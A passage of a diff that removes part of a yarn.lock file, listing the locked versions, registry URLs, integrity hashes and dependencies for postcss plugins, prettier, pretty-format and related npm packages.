-  integrity sha512-1SUKdJc2vuMOmeItqGuNaC+N8MzBWFWEkAnRnLpFYj1tGGa7NqyVBujfRtgNa2gXR+6RkGUiB2O5Vmh7E2RmiA==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-media-minmax@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-media-minmax/-/postcss-media-minmax-4.0.0.tgz#b75bb6cbc217c8ac49433e12f22048814a4f5ed5"
-  integrity sha512-fo9moya6qyxsjbFAYl97qKO9gyre3qvbMnkOZeZwlsW6XYFsvs2DMGDlchVLfAd8LHPZDxivu/+qW2SMQeTHBw==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-merge-longhand@^4.0.11:
-  version "4.0.11"
-  resolved "https://registry.yarnpkg.com/postcss-merge-longhand/-/postcss-merge-longhand-4.0.11.tgz#62f49a13e4a0ee04e7b98f42bb16062ca2549e24"
-  integrity sha512-alx/zmoeXvJjp7L4mxEMjh8lxVlDFX1gqWHzaaQewwMZiVhLo42TEClKaeHbRf6J7j82ZOdTJ808RtN0ZOZwvw==
-  dependencies:
-    css-color-names "0.0.4"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    stylehacks "^4.0.0"
-
-postcss-merge-rules@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-merge-rules/-/postcss-merge-rules-4.0.3.tgz#362bea4ff5a1f98e4075a713c6cb25aefef9a650"
-  integrity sha512-U7e3r1SbvYzO0Jr3UT/zKBVgYYyhAz0aitvGIYOYK5CPmkNih+WDSsS5tvPrJ8YMQYlEMvsZIiqmn7HdFUaeEQ==
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-api "^3.0.0"
-    cssnano-util-same-parent "^4.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-    vendors "^1.0.0"
-
-postcss-minify-font-values@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-minify-font-values/-/postcss-minify-font-values-4.0.2.tgz#cd4c344cce474343fac5d82206ab2cbcb8afd5a6"
-  integrity sha512-j85oO6OnRU9zPf04+PZv1LYIYOprWm6IA6zkXkrJXyRveDEuQggG6tvoy8ir8ZwjLxLuGfNkCZEQG7zan+Hbtg==
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-minify-gradients@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-minify-gradients/-/postcss-minify-gradients-4.0.2.tgz#93b29c2ff5099c535eecda56c4aa6e665a663471"
-  integrity sha512-qKPfwlONdcf/AndP1U8SJ/uzIJtowHlMaSioKzebAXSG4iJthlWC9iSWznQcX4f66gIWX44RSA841HTHj3wK+Q==
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    is-color-stop "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-minify-params@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-minify-params/-/postcss-minify-params-4.0.2.tgz#6b9cef030c11e35261f95f618c90036d680db874"
-  integrity sha512-G7eWyzEx0xL4/wiBBJxJOz48zAKV2WG3iZOqVhPet/9geefm/Px5uo1fzlHu+DOjT+m0Mmiz3jkQzVHe6wxAWg==
-  dependencies:
-    alphanum-sort "^1.0.0"
-    browserslist "^4.0.0"
-    cssnano-util-get-arguments "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    uniqs "^2.0.0"
-
-postcss-minify-selectors@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-minify-selectors/-/postcss-minify-selectors-4.0.2.tgz#e2e5eb40bfee500d0cd9243500f5f8ea4262fbd8"
-  integrity sha512-D5S1iViljXBj9kflQo4YutWnJmwm8VvIsU1GeXJGiG9j8CIg9zs4voPMdQDUmIxetUOh60VilsNzCiAFTOqu3g==
-  dependencies:
-    alphanum-sort "^1.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-
-postcss-modules-extract-imports@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz#818719a1ae1da325f9832446b01136eeb493cd7e"
-  integrity sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==
-  dependencies:
-    postcss "^7.0.5"
-
-postcss-modules-local-by-default@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz#bb14e0cc78279d504dbdcbfd7e0ca28993ffbbb0"
-  integrity sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==
-  dependencies:
-    icss-utils "^4.1.1"
-    postcss "^7.0.32"
-    postcss-selector-parser "^6.0.2"
-    postcss-value-parser "^4.1.0"
-
-postcss-modules-scope@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz#385cae013cc7743f5a7d7602d1073a89eaae62ee"
-  integrity sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==
-  dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^6.0.0"
-
-postcss-modules-values@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz#5b5000d6ebae29b4255301b4a3a54574423e7f10"
-  integrity sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==
-  dependencies:
-    icss-utils "^4.0.0"
-    postcss "^7.0.6"
-
-postcss-nesting@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-nesting/-/postcss-nesting-7.0.1.tgz#b50ad7b7f0173e5b5e3880c3501344703e04c052"
-  integrity sha512-FrorPb0H3nuVq0Sff7W2rnc3SmIcruVC6YwpcS+k687VxyxO33iE1amna7wHuRVzM8vfiYofXSBHNAZ3QhLvYg==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-normalize-charset@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-charset/-/postcss-normalize-charset-4.0.1.tgz#8b35add3aee83a136b0471e0d59be58a50285dd4"
-  integrity sha512-gMXCrrlWh6G27U0hF3vNvR3w8I1s2wOBILvA87iNXaPvSNo5uZAMYsZG7XjCUf1eVxuPfyL4TJ7++SGZLc9A3g==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-normalize-display-values@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.2.tgz#0dbe04a4ce9063d4667ed2be476bb830c825935a"
-  integrity sha512-3F2jcsaMW7+VtRMAqf/3m4cPFhPD3EFRgNs18u+k3lTJJlVe7d0YPO+bnwqo2xg8YiRpDXJI2u8A0wqJxMsQuQ==
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-positions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-positions/-/postcss-normalize-positions-4.0.2.tgz#05f757f84f260437378368a91f8932d4b102917f"
-  integrity sha512-Dlf3/9AxpxE+NF1fJxYDeggi5WwV35MXGFnnoccP/9qDtFrTArZ0D0R+iKcg5WsUd8nUYMIl8yXDCtcrT8JrdA==
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-repeat-style@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.2.tgz#c4ebbc289f3991a028d44751cbdd11918b17910c"
-  integrity sha512-qvigdYYMpSuoFs3Is/f5nHdRLJN/ITA7huIoCyqqENJe9PvPmLhNLMu7QTjPdtnVf6OcYYO5SHonx4+fbJE1+Q==
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-string@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-string/-/postcss-normalize-string-4.0.2.tgz#cd44c40ab07a0c7a36dc5e99aace1eca4ec2690c"
-  integrity sha512-RrERod97Dnwqq49WNz8qo66ps0swYZDSb6rM57kN2J+aoyEAJfZ6bMx0sx/F9TIEX0xthPGCmeyiam/jXif0eA==
-  dependencies:
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-timing-functions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.2.tgz#8e009ca2a3949cdaf8ad23e6b6ab99cb5e7d28d9"
-  integrity sha512-acwJY95edP762e++00Ehq9L4sZCEcOPyaHwoaFOhIwWCDfik6YvqsYNxckee65JHLKzuNSSmAdxwD2Cud1Z54A==
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-unicode@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.1.tgz#841bd48fdcf3019ad4baa7493a3d363b52ae1cfb"
-  integrity sha512-od18Uq2wCYn+vZ/qCOeutvHjB5jm57ToxRaMeNuf0nWVHaP9Hua56QyMF6fs/4FSUnVIw0CBPsU0K4LnBPwYwg==
-  dependencies:
-    browserslist "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-url@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-url/-/postcss-normalize-url-4.0.1.tgz#10e437f86bc7c7e58f7b9652ed878daaa95faae1"
-  integrity sha512-p5oVaF4+IHwu7VpMan/SSpmpYxcJMtkGppYf0VbdH5B6hN8YNmVyJLuY9FmLQTzY3fag5ESUUHDqM+heid0UVA==
-  dependencies:
-    is-absolute-url "^2.0.0"
-    normalize-url "^3.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-whitespace@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.2.tgz#bf1d4070fe4fcea87d1348e825d8cc0c5faa7d82"
-  integrity sha512-tO8QIgrsI3p95r8fyqKV+ufKlSHh9hMJqACqbv2XknufqEDhDvbguXGBBqxw9nsQoXWf0qOqppziKJKHMD4GtA==
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize@8.0.1:
-  version "8.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-normalize/-/postcss-normalize-8.0.1.tgz#90e80a7763d7fdf2da6f2f0f82be832ce4f66776"
-  integrity sha512-rt9JMS/m9FHIRroDDBGSMsyW1c0fkvOJPy62ggxSHUldJO7B195TqFMqIf+lY5ezpDcYOV4j86aUp3/XbxzCCQ==
-  dependencies:
-    "@csstools/normalize.css" "^10.1.0"
-    browserslist "^4.6.2"
-    postcss "^7.0.17"
-    postcss-browser-comments "^3.0.0"
-    sanitize.css "^10.0.0"
-
-postcss-ordered-values@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/postcss-ordered-values/-/postcss-ordered-values-4.1.2.tgz#0cf75c820ec7d5c4d280189559e0b571ebac0eee"
-  integrity sha512-2fCObh5UanxvSxeXrtLtlwVThBvHn6MQcu4ksNT2tsaV2Fg76R2CV98W7wNSlX+5/pFwEyaDwKLLoEV7uRybAw==
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-overflow-shorthand@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-overflow-shorthand/-/postcss-overflow-shorthand-2.0.0.tgz#31ecf350e9c6f6ddc250a78f0c3e111f32dd4c30"
-  integrity sha512-aK0fHc9CBNx8jbzMYhshZcEv8LtYnBIRYQD5i7w/K/wS9c2+0NSR6B3OVMu5y0hBHYLcMGjfU+dmWYNKH0I85g==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-page-break@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-page-break/-/postcss-page-break-2.0.0.tgz#add52d0e0a528cabe6afee8b46e2abb277df46bf"
-  integrity sha512-tkpTSrLpfLfD9HvgOlJuigLuk39wVTbbd8RKcy8/ugV2bNBUW3xU+AIqyxhDrQr1VUj1RmyJrBn1YWrqUm9zAQ==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-place@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-place/-/postcss-place-4.0.1.tgz#e9f39d33d2dc584e46ee1db45adb77ca9d1dcc62"
-  integrity sha512-Zb6byCSLkgRKLODj/5mQugyuj9bvAAw9LqJJjgwz5cYryGeXfFZfSXoP1UfveccFmeq0b/2xxwcTEVScnqGxBg==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-preset-env@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.yarnpkg.com/postcss-preset-env/-/postcss-preset-env-6.7.0.tgz#c34ddacf8f902383b35ad1e030f178f4cdf118a5"
-  integrity sha512-eU4/K5xzSFwUFJ8hTdTQzo2RBLbDVt83QZrAvI07TULOkmyQlnYlpwep+2yIK+K+0KlZO4BvFcleOCCcUtwchg==
-  dependencies:
-    autoprefixer "^9.6.1"
-    browserslist "^4.6.4"
-    caniuse-lite "^1.0.30000981"
-    css-blank-pseudo "^0.1.4"
-    css-has-pseudo "^0.10.0"
-    css-prefers-color-scheme "^3.1.1"
-    cssdb "^4.4.0"
-    postcss "^7.0.17"
-    postcss-attribute-case-insensitive "^4.0.1"
-    postcss-color-functional-notation "^2.0.1"
-    postcss-color-gray "^5.0.0"
-    postcss-color-hex-alpha "^5.0.3"
-    postcss-color-mod-function "^3.0.3"
-    postcss-color-rebeccapurple "^4.0.1"
-    postcss-custom-media "^7.0.8"
-    postcss-custom-properties "^8.0.11"
-    postcss-custom-selectors "^5.1.2"
-    postcss-dir-pseudo-class "^5.0.0"
-    postcss-double-position-gradients "^1.0.0"
-    postcss-env-function "^2.0.2"
-    postcss-focus-visible "^4.0.0"
-    postcss-focus-within "^3.0.0"
-    postcss-font-variant "^4.0.0"
-    postcss-gap-properties "^2.0.0"
-    postcss-image-set-function "^3.0.1"
-    postcss-initial "^3.0.0"
-    postcss-lab-function "^2.0.1"
-    postcss-logical "^3.0.0"
-    postcss-media-minmax "^4.0.0"
-    postcss-nesting "^7.0.0"
-    postcss-overflow-shorthand "^2.0.0"
-    postcss-page-break "^2.0.0"
-    postcss-place "^4.0.1"
-    postcss-pseudo-class-any-link "^6.0.0"
-    postcss-replace-overflow-wrap "^3.0.0"
-    postcss-selector-matches "^4.0.0"
-    postcss-selector-not "^4.0.0"
-
-postcss-pseudo-class-any-link@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-6.0.0.tgz#2ed3eed393b3702879dec4a87032b210daeb04d1"
-  integrity sha512-lgXW9sYJdLqtmw23otOzrtbDXofUdfYzNm4PIpNE322/swES3VU9XlXHeJS46zT2onFO7V1QFdD4Q9LiZj8mew==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-reduce-initial@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-reduce-initial/-/postcss-reduce-initial-4.0.3.tgz#7fd42ebea5e9c814609639e2c2e84ae270ba48df"
-  integrity sha512-gKWmR5aUulSjbzOfD9AlJiHCGH6AEVLaM0AV+aSioxUDd16qXP1PCh8d1/BGVvpdWn8k/HiK7n6TjeoXN1F7DA==
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-api "^3.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-
-postcss-reduce-transforms@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.2.tgz#17efa405eacc6e07be3414a5ca2d1074681d4e29"
-  integrity sha512-EEVig1Q2QJ4ELpJXMZR8Vt5DQx8/mo+dGWSR7vWXqcob2gQLyQGsionYcGKATXvQzMPn6DSN1vTN7yFximdIAg==
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-replace-overflow-wrap@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-3.0.0.tgz#61b360ffdaedca84c7c918d2b0f0d0ea559ab01c"
-  integrity sha512-2T5hcEHArDT6X9+9dVSPQdo7QHzG4XKclFT8rU5TzJPDN7RIRTbO9c4drUISOVemLj03aezStHCR2AIcr8XLpw==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-safe-parser@4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-safe-parser/-/postcss-safe-parser-4.0.1.tgz#8756d9e4c36fdce2c72b091bbc8ca176ab1fcdea"
-  integrity sha512-xZsFA3uX8MO3yAda03QrG3/Eg1LN3EPfjjf07vke/46HERLZyHrTsQ9E1r1w1W//fWEhtYNndo2hQplN2cVpCQ==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-selector-matches@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-selector-matches/-/postcss-selector-matches-4.0.0.tgz#71c8248f917ba2cc93037c9637ee09c64436fcff"
-  integrity sha512-LgsHwQR/EsRYSqlwdGzeaPKVT0Ml7LAT6E75T8W8xLJY62CE4S/l03BWIt3jT8Taq22kXP08s2SfTSzaraoPww==
-  dependencies:
-    balanced-match "^1.0.0"
-    postcss "^7.0.2"
-
-postcss-selector-not@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-selector-not/-/postcss-selector-not-4.0.1.tgz#263016eef1cf219e0ade9a913780fc1f48204cbf"
-  integrity sha512-YolvBgInEK5/79C+bdFMyzqTg6pkYqDbzZIST/PDMqa/o3qtXenD05apBG2jLgT0/BQ77d4U2UK12jWpilqMAQ==
-  dependencies:
-    balanced-match "^1.0.0"
-    postcss "^7.0.2"
-
-postcss-selector-parser@^3.0.0:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz#b310f5c4c0fdaf76f94902bbaa30db6aa84f5270"
-  integrity sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==
-  dependencies:
-    dot-prop "^5.2.0"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss-selector-parser@^5.0.0-rc.3, postcss-selector-parser@^5.0.0-rc.4:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-5.0.0.tgz#249044356697b33b64f1a8f7c80922dddee7195c"
-  integrity sha512-w+zLE5Jhg6Liz8+rQOWEAwtwkyqpfnmsinXjXg6cY7YIONZZtgvE0v2O0uhQBs0peNomOJwWRKt6JBfTdTd3OQ==
-  dependencies:
-    cssesc "^2.0.0"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2:
-  version "6.0.6"
-  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.6.tgz#2c5bba8174ac2f6981ab631a42ab0ee54af332ea"
-  integrity sha512-9LXrvaaX3+mcv5xkg5kFwqSzSH1JIObIx51PrndZwlmznwXRfxMddDvo9gve3gVR8ZTKgoFDdWkbRFmEhT4PMg==
-  dependencies:
-    cssesc "^3.0.0"
-    util-deprecate "^1.0.2"
-
-postcss-svgo@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-svgo/-/postcss-svgo-4.0.3.tgz#343a2cdbac9505d416243d496f724f38894c941e"
-  integrity sha512-NoRbrcMWTtUghzuKSoIm6XV+sJdvZ7GZSc3wdBN0W19FTtp2ko8NqLsgoh/m9CzNhU3KLPvQmjIwtaNFkaFTvw==
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    svgo "^1.0.0"
-
-postcss-unique-selectors@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-unique-selectors/-/postcss-unique-selectors-4.0.1.tgz#9446911f3289bfd64c6d680f073c03b1f9ee4bac"
-  integrity sha512-+JanVaryLo9QwZjKrmJgkI4Fn8SBgRO6WXQBJi7KiAVPlmxikB5Jzc4EvXMT2H0/m0RjrVVm9rGNhZddm/8Spg==
-  dependencies:
-    alphanum-sort "^1.0.0"
-    postcss "^7.0.0"
-    uniqs "^2.0.0"
-
-postcss-value-parser@^3.0.0:
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz#9ff822547e2893213cf1c30efa51ac5fd1ba8281"
-  integrity sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==
-
-postcss-value-parser@^4.0.2, postcss-value-parser@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb"
-  integrity sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==
-
-postcss-values-parser@^2.0.0, postcss-values-parser@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-values-parser/-/postcss-values-parser-2.0.1.tgz#da8b472d901da1e205b47bdc98637b9e9e550e5f"
-  integrity sha512-2tLuBsA6P4rYTNKCXYG/71C7j1pU6pK503suYOmn4xYrQIzW+opD+7FAFNuGSdZC/3Qfy334QbeMu7MEb8gOxg==
-  dependencies:
-    flatten "^1.0.2"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss@7.0.21:
-  version "7.0.21"
-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.21.tgz#06bb07824c19c2021c5d056d5b10c35b989f7e17"
-  integrity sha512-uIFtJElxJo29QC753JzhidoAhvp/e/Exezkdhfmt8AymWT6/5B7W1WmponYWkHk2eg6sONyTch0A3nkMPun3SQ==
-  dependencies:
-    chalk "^2.4.2"
-    source-map "^0.6.1"
-    supports-color "^6.1.0"
-
-postcss@^7, postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.14, postcss@^7.0.17, postcss@^7.0.2, postcss@^7.0.23, postcss@^7.0.27, postcss@^7.0.32, postcss@^7.0.5, postcss@^7.0.6:
-  version "7.0.36"
-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.36.tgz#056f8cffa939662a8f5905950c07d5285644dfcb"
-  integrity sha512-BebJSIUMwJHRH0HAQoxN4u1CN86glsrwsW0q7T+/m44eXOUAxSNdHRkNZPYz5vVUbg17hFgOQDE7fZk7li3pZw==
-  dependencies:
-    chalk "^2.4.2"
-    source-map "^0.6.1"
-    supports-color "^6.1.0"
-
-postcss@^8.2.6:
-  version "8.3.2"
-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.3.2.tgz#ed3ec489f5428af5740cd6effcc216b4d455ee64"
-  integrity sha512-y1FK/AWdZlBF5lusS5j5l4/vF67+vQZt1SXPVJ32y1kRGDQyrs1zk32hG1cInRTu14P0V+orPz+ifwW/7rR4bg==
-  dependencies:
-    colorette "^1.2.2"
-    nanoid "^3.1.23"
-    source-map-js "^0.6.2"
-
-preact@10.4.1:
-  version "10.4.1"
-  resolved "https://registry.yarnpkg.com/preact/-/preact-10.4.1.tgz#9b3ba020547673a231c6cf16f0fbaef0e8863431"
-  integrity sha512-WKrRpCSwL2t3tpOOGhf2WfTpcmbpxaWtDbdJdKdjd0aEiTkvOmS4NBkG6kzlaAHI9AkQ3iVqbFWM3Ei7mZ4o1Q==
-
-precond@0.2:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/precond/-/precond-0.2.3.tgz#aa9591bcaa24923f1e0f4849d240f47efc1075ac"
-  integrity sha1-qpWRvKokkj8eD0hJ0kD0fvwQdaw=
-
-prelude-ls@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-  integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
-
-prepend-http@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/prepend-http/-/prepend-http-1.0.4.tgz#d4f4562b0ce3696e41ac52d0e002e57a635dc6dc"
-  integrity sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=
-
-prettier-linter-helpers@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz#d23d41fe1375646de2d0104d3454a3008802cf7b"
-  integrity sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==
-  dependencies:
-    fast-diff "^1.1.2"
-
-prettier@^2.0.5:
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.3.1.tgz#76903c3f8c4449bc9ac597acefa24dc5ad4cbea6"
-  integrity sha512-p+vNbgpLjif/+D+DwAZAbndtRrR0md0MwfmOVN9N+2RgyACMT+7tfaRnT+WDPkqnuVwleyuBIG2XBxKDme3hPA==
-
-pretty-bytes@^5.1.0:
-  version "5.6.0"
-  resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
-  integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
-
-pretty-error@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-2.1.2.tgz#be89f82d81b1c86ec8fdfbc385045882727f93b6"
-  integrity sha512-EY5oDzmsX5wvuynAByrmY0P0hcp+QpnAKbJng2A2MPjVKXCxrDSUkzghVJ4ZGPIv+JC4gX8fPUWscC0RtjsWGw==
-  dependencies:
-    lodash "^4.17.20"
-    renderkid "^2.0.4"
-
-pretty-format@^24.3.0, pretty-format@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-24.9.0.tgz#12fac31b37019a4eea3c11aa9a959eb7628aa7c9"
-  integrity sha512-00ZMZUiHaJrNfk33guavqgvfJS30sLYf0f8+Srklv0AMPodGGHcoHgksZ3OThYnIvOd+8yMCn0YiEOogjlgsnA==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    ansi-regex "^4.0.0"
-    ansi-styles "^3.2.0"
-    react-is "^16.8.4"
-
-pretty-format@^25.1.0:
-  version "25.5.0"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-25.5.0.tgz#7873c1d774f682c34b8d48b6743a2bf2ac55791a"
-  integrity sha512-kbo/kq2LQ/A/is0PQwsEHM7Ca6//bGPPvU6UnsdDRSKTWxT/ru/xb88v4BJf6a69H+uTytOEsTusT9ksd/1iWQ==
-  dependencies:
-    "@jest/types" "^25.5.0"
-    ansi-regex "^5.0.0"
-    ansi-styles "^4.0.0"
-    react-is "^16.12.0"
-
-pretty-format@^26.0.0, pretty-format@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-26.6.2.tgz#e35c2705f14cb7fe2fe94fa078345b444120fc93"
-  integrity sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==
-  dependencies:
-    "@jest/types" "^26.6.2"
-    ansi-regex "^5.0.0"
-    ansi-styles "^4.0.0"
-    react-is "^17.0.1"
-
-pretty-hrtime@^1.0.0:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz#b7e3ea42435a4c9b2759d99e0f201eb195802ee1"
-  integrity sha1-t+PqQkNaTJsnWdmeDyAesZWALuE=
-
-process-nextick-args@^2.0.0, process-nextick-args@~2.0.0:
